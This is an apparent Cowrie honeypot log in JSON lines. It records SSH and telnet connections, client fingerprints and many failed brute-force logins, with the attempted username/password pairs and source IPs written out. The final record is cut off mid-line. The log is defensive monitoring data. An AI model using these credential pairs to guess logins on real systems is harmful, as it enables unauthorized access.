{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:47.238612Z","src_ip":"161.35.205.74","session":"0e16e79943a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netscout","message":"login attempt [root/netscout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:47.598705Z","src_ip":"161.35.205.74","session":"0e16e79943a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:48.684287Z","src_ip":"161.35.205.74","session":"0e16e79943a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"f495e0a3d5bf","protocol":"telnet","message":"New connection: 170.64.224.25:54176 (159.203.135.109:23) [session: f495e0a3d5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:50.331419Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":42166,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5d88488b18","protocol":"ssh","message":"New connection: 213.21.248.43:42166 (159.203.135.109:22) [session: ba5d88488b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:00.391586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:00.397518Z","src_ip":"213.21.248.43","session":"ba5d88488b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:00.472677Z","src_ip":"213.21.248.43","session":"ba5d88488b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd1234","message":"login attempt [root/passwd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:00.805330Z","src_ip":"213.21.248.43","session":"ba5d88488b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:01.884893Z","src_ip":"213.21.248.43","session":"ba5d88488b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.58898615837097,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:14.920287Z","src_ip":"170.64.224.25","session":"f495e0a3d5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":40564,"dst_ip":"10.17.0.5","dst_port":22,"session":"1851ea667b39","protocol":"ssh","message":"New connection: 161.35.205.74:40564 (10.17.0.5:22) [session: 1851ea667b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:36.832379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:36.835962Z","src_ip":"161.35.205.74","session":"1851ea667b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:36.916658Z","src_ip":"161.35.205.74","session":"1851ea667b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"q1w2e3r4t5","message":"login attempt [deployer/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:37.279199Z","src_ip":"161.35.205.74","session":"1851ea667b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:38.363499Z","src_ip":"161.35.205.74","session":"1851ea667b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43156,"dst_ip":"10.17.0.5","dst_port":22,"session":"683418a7409b","protocol":"ssh","message":"New connection: 91.92.40.4:43156 (10.17.0.5:22) [session: 683418a7409b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:51.580601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:51.584553Z","src_ip":"91.92.40.4","session":"683418a7409b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:51.664878Z","src_ip":"91.92.40.4","session":"683418a7409b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass123","message":"login attempt [test/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:51.911414Z","src_ip":"91.92.40.4","session":"683418a7409b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:25:52.995182Z","src_ip":"91.92.40.4","session":"683418a7409b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":50850,"dst_ip":"10.17.0.5","dst_port":22,"session":"796fd273c004","protocol":"ssh","message":"New connection: 213.202.230.81:50850 (10.17.0.5:22) [session: 796fd273c004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:02.399563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:02.403209Z","src_ip":"213.202.230.81","session":"796fd273c004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:02.491540Z","src_ip":"213.202.230.81","session":"796fd273c004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nick","password":"Monero#Pr!v@t3!W0rd","message":"login attempt [nick/Monero#Pr!v@t3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:02.753854Z","src_ip":"213.202.230.81","session":"796fd273c004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:03.844138Z","src_ip":"213.202.230.81","session":"796fd273c004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":38216,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2094d38de9","protocol":"ssh","message":"New connection: 159.65.58.200:38216 (159.203.135.109:22) [session: da2094d38de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.595211Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f32e827eaa27","protocol":"ssh","message":"New connection: 103.27.238.116:47526 (159.203.135.109:22) [session: f32e827eaa27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.701619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.705349Z","src_ip":"103.27.238.116","session":"f32e827eaa27","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.814519Z","src_ip":"159.65.58.200","session":"da2094d38de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.817755Z","src_ip":"159.65.58.200","session":"da2094d38de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:10.978619Z","src_ip":"103.27.238.116","session":"f32e827eaa27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"50945590","message":"login attempt [root/50945590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:11.782673Z","src_ip":"103.27.238.116","session":"f32e827eaa27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shalaby","password":"123456","message":"login attempt [shalaby/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:12.496575Z","src_ip":"159.65.58.200","session":"da2094d38de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:13.051517Z","src_ip":"103.27.238.116","session":"f32e827eaa27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:13.830133Z","src_ip":"159.65.58.200","session":"da2094d38de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35788,"dst_ip":"10.17.0.5","dst_port":22,"session":"141f7a1fb906","protocol":"ssh","message":"New connection: 103.27.238.120:35788 (10.17.0.5:22) [session: 141f7a1fb906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:25.511549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:25.514110Z","src_ip":"103.27.238.120","session":"141f7a1fb906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:25.773061Z","src_ip":"103.27.238.120","session":"141f7a1fb906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130793","message":"login attempt [root/130793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:26.556956Z","src_ip":"103.27.238.120","session":"141f7a1fb906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:27.819880Z","src_ip":"103.27.238.120","session":"141f7a1fb906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":41424,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa3a291733f","protocol":"ssh","message":"New connection: 213.21.248.43:41424 (159.203.135.109:22) [session: efa3a291733f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:47.631854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:26:47.635525Z","src_ip":"213.21.248.43","session":"efa3a291733f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-grou